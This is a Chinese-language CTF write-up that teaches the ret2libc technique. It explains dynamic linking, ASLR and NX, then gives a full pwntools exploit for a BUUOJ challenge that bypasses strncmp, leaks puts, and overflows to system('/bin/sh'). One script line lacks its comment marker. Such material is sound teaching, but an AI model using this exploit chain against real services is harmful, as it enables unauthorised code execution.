動態連結的基本思想是把程式按照模組拆分成各個相對獨立部分,在程式執行時才將它們連結在一起形成一個完整的程式,而不是像靜態連結一樣把所有程式模組都連結成一個單獨的可執行檔案。為了程式開發獨立,而且更新方便,如今大多數程式都採用動態連結的方法。
為了解決重定位問題,動態連結需要用到相應的動態連結庫,也就是linux的.so檔案和Windows的dll檔案,作為可共用的檔案,.so檔案和.dll檔案可以和許多程式打交道,也就包含了許多的函數和資源。
.so 是共用目標(Shared Object)檔案,是經過編譯但未連結的二進位制檔案,lib.so 是C語言庫(Library)的共用目標檔案,以動態連結的方式被呼叫,因為是c語言標準庫,裡面就會有很多相應的c函數,而且由於是共用檔案需要給不同的檔案提供函數符號解析,libc.so檔案裡面每個函數相對於libc基址的偏移是固定的。
舉個例子
假如你家到學校有1000米,學校到體育館有200米,那麼從你家開始走,以學校的角度看,學校的基址就是1000,那麼體育館就是相對於學校的偏移,偏移量是200,最終走到體育館就是1000+200,也就是基址加偏移.
如果說體育館沒有搬家,也就是偏移量固定的情況下,我們很容易能夠一直從家找到體育館,也就是從基址找到偏移,而很顯然,libc檔案的偏移量能夠讓我們很容易用固定偏移找到我們想要的函數或者字元。
這一段知識掌握的稍微弱一點,大家可以參考這篇,講的蠻好。GOT表和PLT表知識詳解_77458的部落格-CSDN部落格_got表
ASLR基址也叫做地址隨機化,是一種針對緩衝區溢位的安全保護技術,通過對堆、棧、共用庫對映等線性區佈局的隨機化,通過增加攻擊者預測目的地址的難度,防止攻擊者直接定位攻擊程式碼位置,達到阻止溢位攻擊的目的。
即No-eXecute(不可執行)的意思,NX(DEP)的基本原理是將資料所在記憶體頁標識為不可執行,當程式溢位成功轉入shellcode時,程式會嘗試在資料頁面上執行指令,此時CPU就會丟擲異常,而不是去執行惡意指令。
如果一個程式開啟了ASLR防護和NX防護,也就是說棧既不可執行也隨機化,那麼也就意味著我們得到的這個程式裡面所有的函數地址都不可以使用了,只能另找其他方法。剛才介紹的libc檔案就是一個繞過這兩個防護的好方法,由於libc檔案是一個共用檔案,那它裡面的函數肯定可以執行,而且每個函數的偏移量也是固定的,那麼我們就可以利用libc檔案找到我們需要的函數地址,然後棧溢位到返回地址去執行。
ret2libc基本步驟如下:
1.洩露libc檔案的版本(如果題目有提供libc的話這個步驟可以省略)
2.洩露libc_base(即libc的基址)
3.查詢相應函數的偏移量(基址加偏移量就是我們要找函數的真實地址)
題目給出了附件libc-2.23.so,所以我們就不用再洩露libc版本,下載附件ida拖進去。
先檢視字串,很顯然沒有後門函數和'/bin/sh'
來到main函數反編譯。
有兩個函數,分別點進去看看。
sub_804871F的函數邏輯是讓我們輸入一個buf,並且和隨機的s進行比較,相等才能繞過if判斷,在這裡可以說一下strlen函數和strncmp函數。
strlen函數:這個函數是取字串元素有多少的,而它結束的條件是獲得‘\x00’,也就是說,在沒有檢測到‘\x00’這個字元之前它是不會結束的。
strncmp函數:這個函數是比較字元相不相等,相等返回值是0,不相等有兩種情況,也對應著它前兩個引數字串a和b,a和b自左向右逐個字元相比(按ASCII值大小相比較),當a有一個字元大於b,即a>b,返回正數,反之則返回負數,而第三個引數是規定這個函數比較ab的前多少個字元。
而strncmp有一個問題就是:當它的第三個引數為0,那麼無論前面兩個引數是多少,它的返回值都是0。
那麼我們的繞過思路就有了,只要我們讓v1,也就是第三個引數的值為0,那麼if就可以繞過。
所以我們可以往buf中最先傳入一個‘\x00’,這樣就能讓strlen函數的返回值為0,這樣第一段函數就能成功繞過。
再來看第二段函數sub_80487D0
sub_80487D0這段函數傳參的是剛才的buf,這次用它來進行判斷和溢位,可以看出來,我們要成功溢位,就要讓buf既不等於127,又要大於231並且儘可能地大(因為它也做了read的第三個引數)。
那麼我們就可以再傳入7個‘\xff’,就可以讓buf[7]具備以上條件。
總的payload1 = b‘\x00’ + b'\xff'*7
然後就可以利用ret2libc,鑑於上面介紹已經充分詳細,下面直接貼出exp
from pwn import *
# r = process("./pwn1")
r = remote("node4.buuoj.cn",25533)
elf = ELF("./pwn1")
libc = ELF("libc-2.23.so")給出的libc,需要和指令碼放在同一個目錄
#params
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr = 0x8048825
#attack
payload = b'\x00' + b'\xff'*7
r.sendline(payload)
#attack2(洩露puts在libc中的地址)
payload_1 = b'M'*(0xE7+4) + p32(puts_plt) + p32(main_addr) + p32(puts_got)
r.sendline(payload_1)
r.recvline()
puts_addr = u32(r.recv(4))
print("puts_addr: " + hex(puts_addr))
#attack3
r.sendline(payload)
#libc(查詢相應函數的偏移量)
base_addr = puts_addr - libc.symbols['puts']
system_addr = base_addr + libc.symbols['system']
bin_sh_addr = base_addr + next(libc.search(b'/bin/sh'))
print("system_addr: " + hex(system_addr))
print("bin_sh_addr: " + hex(bin_sh_addr))
#attack4
payload_2 = b'M'*(0xE7+4) + p32(system_addr) + b'M'*4 +p32(bin_sh_addr)
r.sendline(payload_2)
r.interactive()
還有一種需要手動洩露libc版本的題目,因為方法原理類似,在這裡就不做演示了。